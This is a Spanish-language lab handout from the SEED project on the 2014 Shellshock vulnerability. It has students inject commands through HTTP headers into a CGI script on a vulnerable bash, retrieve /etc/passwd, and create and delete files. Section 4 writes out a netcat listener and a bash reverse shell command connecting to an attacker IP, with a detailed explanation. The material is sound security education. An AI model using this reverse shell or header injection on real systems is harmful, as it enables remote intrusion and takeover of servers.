Laboratorio de Shellshock

1 Overview

El 24 de Septiembre del 2014, una vulnerabilidad bastante severa fue identificada en la shell Bash. Esta vulnerabilidad fue llamada Shellshock, la misma podía ser explotada en muchos sistemas tanto de forma local como de forma remota. En este laboratorio, los estudiantes deberán de trabajar sobre este ataque y así entender la vulnerabilidad de Shellshock. El objetivo de este laboratorio es que los estudiantes puedan comprender como funciona y experimentar este tipo de ataque como así reflexionar sobre las lecciones este tipo de ataque no deja. La primera versión de este laboratorio fue creada el 29 Septiembre del 2014, sólamente cinco días después de que el ataque fue reportado. Este laboratorio fue asignado a los estudiantes en nuestra clase de Computer Security el 30 de Septiembre del 2014. Una misión importante del proyecto SEED es convertir rápidamente ataques reales en material educativo, con el objetivo de que los instructores puedan llevar este material en sus clases en tiempo y forma, manteniendo a sus alumnos actualizados sobre los ataques y vulnerabilidades que ocurren en el mundo real.

Este laboratorio cubre los siguientes tópicos:

- Shellshock
- Variables de Entorno
- Definición de Funciones en Bash
- Programas CGI y Apache

Lecturas y Videos. Para una cobertura más detallada sobre el ataque de Shellshock puede consultar:

- Capítulo 3 del libro de SEED, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net`.
- Sección 3 del curso de SEED en Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net/video.html`.

Entorno de Laboratorio. Este laboratorio ha sido testeado en nuestra imagen pre-compilada de una VM con Ubuntu 20.04, que puede ser descargada del sitio oficial de SEED . Dado que utilizamos contenedores para configurar el entorno de laboratorio, este laboratorio no depende estrictamente de la VM de SEED. Puede hacer este laboratorio utilizando otras máquinas virtuales, máquinas físicas o máquinas virtuales en la nube.

2 Configuración del Entorno de Laboratorio

2.1 Configuración DNS

En nuestro setup hemos configurado el contenedor del Servidor Web en la IP `10.9.0.5`. El hostname del servidor se llama `www.seed-server.com`. Necesitamos mapear este nombre de dominio su IP. Para

ello deberá agregar la siguiente entradasen el archivo `/etc/hosts`. Para poder modificar este archivo ud. debe contar con privilegios de root:

```
10.9.0.5        www.seed-server.com
```

2.2 Setup del Contenedor y sus Comandos

Para empezar a preparar el contenedor, deberá descargarse el archivo `Labsetup.zip` ubicado en el laboratorio correspondiente dentro del sitio web oficial y copiarlo dentro de la Máquina Virtual prevista por SEED. Una vez descargado deberá descomprimirlo y entrar dentro del directorio `Labsetup` donde encontrará el archivo `docker-compose.yml` que servirá para setear el entorno de laboratorio. Para una información más detallada sobre el archivo `Dockerfile` y otros archivos relacionados, puede encontrarla dentro del Manual de Usuario del laboratorio en uso, en el sitio web oficial de SEED.

Si esta es su primera experiencia haciendo el setup del laboratorio usando contenedores es recomendable que lea el manual anteriormente mencionado.

A continuación, se muestran los comandos más usados en Docker y Compose. Debido a que estos comandos serán usados con mucha frecuencia, hemos creados un conjunto de alias para los mismos, ubicados en del archivo `.bashrc` dentro de la Máquina Virtual provista por SEED (Ubuntu 20.04)

```
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

// Aliases for the Compose commands above
$ dcbuild       # Alias for: docker-compose build
$ dcup          # Alias for: docker-compose up
$ dcdown        # Alias for: docker-compose down
```

Dado que todos los contenedores estarán corriendo en un segundo plano. Necesitamos correr comandos para interactuar con los mismos, una de las operaciones fundamentales es obtener una shell en el contenedor. Para este propósito usaremos "`docker ps`" para encontrar el ID del contenedor deseado y ingresaremos "`docker exec`" para correr una shell en ese contenedor. Hemos creado un alias para ello dentro del archivo `.bashrc`

```
$ dockps        // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

En caso de problemas configurando el entorno, por favor consulte la sección “Common Problems” en el

manual ofrecido por SEED.

2.3 Servidor Web y CGI

En este laboratorio, lanzaremos un ataque Shellshock sobre el contenedor del Servidor Web. Muchos Servidores Web tienen activado CGI, que es un método standard que se usa en páginas web para generar contenido para los aplicativos que corren estás páginas. Muchos programas CGI son scripts shell, por lo que antes que se corra el programa CGI, un programa shell será invocado primero y esta invocación está dada por la interacción de usuarios externos al sistema. Si el programa shell es un script en bash vulnerable, podemos explotar la vulnerabilidad de Shellshock para obtener privilegios en el servidor.

En nuestro contenedor que contiene el servidor web, hemos creado un programa CGI muy simple (llamado `vul.cgi`). Este programa solamente imprimirá el mensaje `"Hello World"` usando un script shell. El programa CGI está dentro del directorio default donde Apache guarda los programas CGI `/usr/lib/cgi-bin` y debe ser ejecutable.

Listing 1: `vul.cgi`

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

Este programa CGI usa `/bin/bash_shellshock` (primera línea), en vez de usar `/bin/bash`. Esta línea especifíca que tipo de shell será invocada cuando se corra el script. Para este laboratorio necesitamos usar la versión vulnerable de Bash.

Para acceder al programa CGI desde la web, podemos usar un navegador tipeando la siguiente URL: `http://www.seed-server.com/cgi-bin/vul.cgi`, o usar el comando `curl` en la shell, ambos hacen lo mismo. Por favor asegúrese que el contenedor esté corriendo.

```
$ curl http://www.seed-server.com/cgi-bin/vul.cgi
```

3 Tareas del Laboratorio

Para más detalles sobre el ataque Shellshock puede consultar el libro de SEED, no repetiremos las guías en este laboratorio.

3.1 Tarea 1: Experimentando con Funciones en Bash

Debido que en Ubuntu 20.04 la versión de Bash ha sido corregida, y ya no es vulnerable al ataque de Shellshock. Dada esta situación y a fines de poder realizar este ataque hemos instalado la versión vulnerable de Bash dentro del contenedor (en el directorio `/bin`). Este programa puede ser obtenido en el directorio `Labsetup` (dentro de `image_www`). El nombre de este programa es `bash_shellshock`. necesitamos usar esta versión del binario de Bash para nuestra tarea. Puede correr esta shell tanto dentro del contenedor como en su computadora local. El manual del contenedor está en el sitio oficial del laboratorio.

Por favor diseñe un experimento para verificar si esta versión de Bash es vulnerable o no al ataque de Shellshock. Haga lo mismo con la versión parcheada de `/bin/bash` y reporte sus observaciones.

3.2 Tarea 2: Enviando datos a Bash por medio de Variables de Entorno

Para explotar la vulnerabilidad de Shellshock en un script bash basado en un programa CGI, los atacantes necesitan pasar los datos al programa bash vulnerable y estos datos serán pasados a través de las variables de entorno. En esta tarea necesitamos ver como logramos este objetivo. Hemos provisto otro programa CGI (`getenv.cgi`) dentro del servidor para ayudarlo a identificar que datos de usuario puede obtener a dentro de las variables de entorno de un programa CGI. Este programa muestra en pantalla todas las variables de entorno que tiene disponible.

Listing 2: `getenv.cgi`

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ            ①
```

Tarea 2.A: Usando el navegador. En el código antes mostrado, la Línea ① imprime el contenido de todas las variables de entorno del proceso en curso. Normalmente, ud. vería algo como lo que se muestra a continuación en caso de que esté usando un navegador para acceder al programa CGI. Por favor identifique cual(es) de los valores de las variable(s) de entorno son seteadas por el navegador. Puede usar la extensión HTTP Header Live en su navegador para captura el request HTTP y comparar el request con las variables de entorno mostradas dentro del servidor. Por favor incluya su investigación en el informe del laboratorio.

```
****** Environment Variables ******
HTTP_HOST=www.seed-server.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
...
```

Tarea 2.A: Usando `curl`. Si queremos setear las variables de entorno con valores arbitrarios, debemos de modificar el comportamiento del navegador, eso sería muy complicado. Afortunadamente, hay una herramienta de consola llamada `curl`, que permite a los usuarios controlar la mayoría de los campos en un request HTTP. Aqui hay algunas opciones útiles: (1) el parámetro `-v` sirve para mostrar el header del request HTTP; (2) los parámetros `-A`, `-e`, y `-H` sirven para setear campos en el header del request y ud. debe de encontrar que campos debe de setear y sus valores respectivos. Por favor incluya su hallazgos en el informe del laboratorio A continuación se muestran unos ejemplos:

```
$ curl -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seed-server.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seed-server.com/cgi-bin/getenv.cgi
```

Basado en este experimento, describa cuales son las opciones de `curl` que sirven para inyectar datos dentro de las variables de entorno del programa CGI.

3.3 Tarea 3: Lanzando el Ataque de Shellshock

Estamos listos para lanzar el ataque de Shellshock. Este ataque no depende de lo que hay en el programa CGI ya que apunta al programa objetivo bash, que es invocado antes que el programa CGI sea ejecutado. Su tarea es lanzar el ataque a por medio de la URL `http://www.seed-server.com/cgi-bin/vul.cgi`, haciendo que el servidor corra un comando arbitrario.

Si su comando tiene un output en texto plano y quiere que ese output sea devuelto hacia ud., necesita seguir el siguiente procedimiento: debería de comenzar con `Content_type: text/plain`, seguido por una línea en blanco, y el comando que imprimirá la información en texto plano. Por ejemplo, si ud. quiere que el servidor retorne una lista de archivo de un directorio, su comando debería de ser algo así:

```
echo Content_type: text/plain; echo; /bin/ls -l
```

Para esta tarea, use tres formas diferentes (es decir tres campos diferentes en el header HTTP) para lanzar el ataque de Shellshock en contra del programa CGI. Necesitará alcanzar los siguientes objetivos. Para cada uno de ellos, debe usar una sóla forma pero en total deben de ser tres.

- Tarea 3.A: Haga que el servidor devuelva el contenido del archivo `/etc/passwd`.
- Tarea 3.B: Haga que el servidor retorne el user ID de su proceso. Puede usar el comando `/bin/id` para imprimir esta información.
- Tarea 3.C: Haga que el servidor cree un archivo dentro del directorio `/tmp`. Necesitará enttrar al contenedor para verificar que este archivo fue creado o no, o puede usar otro ataque de Shellshock para listar los archivos dentro del directorio `/tmp`.
- Tarea 3.D: Haga que el servidor borre el archivo que ha sido creado en el directorio `/tmp`.

Preguntas. Por favor conteste las siguientes preguntas:

- Pregunta 1: ¿Es posible robar el contenido del archivo shadow `/etc/shadow` del servidor? ¿Porqué o Porqué no? La información obtenida en la Tarea 3.B debería de darle una pista.
- Pregunta 2: Los requests HTTP GET típicamente ubican su datos en la URL después del símbolo `?`. Esta podría ser otra forma de lanzar el ataque. En el ejemplo siguiente ubicamos los datos en la URL y encontramos que los datos usados se guardan en la siguiente variable de entorno:

  ```
  $ curl "http://www.seed-server.com/cgi-bin/getenv.cgi?AAAAA"
  ...
  QUERY_STRING=AAAAA
  ...
  ```

  ¿Se puede usar este método para lanzar el ataque de Shellshock? Por favor realize sus experimentos y saque sus conclusiones basados en los mismos.

3.4 Tarea 4: Obteniendo una shell reversa a través del ataque de Shellshock

La vulnerabilidad de Shellshock permite que en los ataques su ejecuten comandos arbitrarios en una máquina víctima. En ataques reales los atacantes suelen ejecutar una shell en vez de usar comando hardcodeados, a través de esta shell los atacantes pueden ejecutar diferentes comandos siempre y cuando el proceso de esta shell este en ejecución. Para lograr este objetivo, los atacantes necesitan correr una shell reversa.

Una shell reversa es un proceso que dispara una shell en una máquina, donde la entrada y la salida de la misma es controlada por alguien desde una máquina remota. Básicamente la shell corre en la máquina de la víctima pero toma su entrada desde la máquina del atacante y imprime su salida en la máquina del atacante. La shell reversa le otorga a los atacantes una forma efectiva para poder correr comandos en una máquina comprometida. En el libro de SEED se da una explicación en detalle sobre como crear una shell reversa. Hemos hecho una síntesis de la misma en la Sección 4. En esta Tarea, necesita demostrar como puede obtener una shell reversa en la máquina víctima usando el ataque de Shellshock.

3.5 Tarea 5: Usando la versión Parcheada de Bash

Ahora usaremos la versión de bash que fue parcheada. La versión parcheada es el archivo `/bin/bash`. Por favor cambie la primera línea del los programas CGI con la versión parcheada de Bash, intente hacer nuevamente la Tarea 3 y describa sus observaciones.

4 Guías: Creando una Shell Reversa

La idea principal de una shell reversa es poder redirigir los dispositivos de standard input, output y error hacia una conexión de red, pudiendo así enviar y recibir información a través de este canal por la shell. En la otra punta de la conexión estará la máquina del atacante corriendo un programa mostrando lo que venga de la shell del otro lado de la conexión, al mismo tiempo este programa enviará lo que el atacante escriba usando la misma conexión de red.

Uno de los programas más usados por los atacantes para este propósito es `netcat`, si se corre con el parámetro `"-l"`, este se pondrá a la escucha de un puerto TCP en un puerto específico, convirtiéndose en un servidor TCP. Este servidor bastante simple hecho con netcat, mostrará lo que sea enviado por parte de un cliente y enviará lo que el usuario corriendo el servidor escriba. En el siguiente experimento usaremos `netcat` para ponernos a la escucha en el puerto TCP `9090` simulando ser un servidor TCP.

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

El comando `nc` mostrado arriba, se pondrá a la escucha en el puerto TCP 9090 y se bloqueará en espera de nuevas conexiones. A continuación con el fin de emular lo que haría un atacante después de comprometer el servidor por medio del ataque de Shellshock, debemos de correr el programa bash mostrado más abajo en el servidor cuya dirección IP es (`10.0.2.5`). Este programa lanzará una conexión TCP en el puerto 9090 hacia la máquina del atacante, otorgándole así una shell reversa. Podremos observar el prompt shell que nos indica que la shell está corriendo en el servidor; podemos usar el comando `ifconfig` para verificar que la dirección IP es la correcta (`10.0.2.5`) y que es la que pertenece a la máquina que hostea el servidor. A continuación se muestra la sentencia de bash que debe ser ejecutada:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

Este comando normalmente es ejecutado por un atacante en un servidor comprometido. Debido a que

esta línea es un tanto engorrosa, en los siguientes parráfos darémos una explicación detallada de su funcionamiento.

- "/bin/bash -i": El parámetro i es quiere decir que la shell será una shell interactiva, esto significa que nos permitirá interactuar para enviar y recibir información usando la shell.
- "> /dev/tcp/10.0.2.6/9090": Esto hace que el (stdout) (standard output) de la shell sea redirigido hacia la conexión TCP establecida con la IP del atacante 10.0.2.6 en el puerto stdout es el 9090. En sistemas Unix, el número del descriptor de archivo (file descriptor) del stdout es el 1
- "0<&1": El descriptor de archivo (file descriptor) cuyo número es 0 representa el standard input (stdin). Esta opción le indica al sistema que use el standard output como standard input. Dado que el stdout está siendo redirigido hacia una conexión TCP, esta opción le indica al programa shell que obtendrá su entrada usando la misma conexión.
- "2>&1": El descriptor de archivo (file descriptor) cuyo número es cuyo número es 2 representa el standard error stderr. Esto hace que cualquier error que pueda ocurrir sea redirigido al stdout que es la conexión TCP.

Para concluir, el comando "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1" ejecuta una shell bash en la máquina del servidor cuyo input viene de una conexión TCP y su output sale por la misma conexión TCP. En nuestro experimento al ejecutar la shell bash en el servidor 10.0.2.5 este establecerá una conexión reversa hacia 10.0.2.6. Esto puede ser verificado por medio del mensaje "Connection from 10.0.2.5 ..." mostrado en netcat.

5 Informe del Laboratorio

Debe enviar un informe de laboratorio detallado, con capturas de pantalla, para describir lo que ha hecho y lo que ha observado. También debe proporcionar una explicación a las observaciones que sean interesantes o sorprendentes. Enumere también los fragmentos de código más importantes seguidos de una explicación. No recibirán créditos aquellos fragmentos de códigos que no sean explicados.

Agradecimientos

Este documento ha sido traducido al Español por Facundo Fontana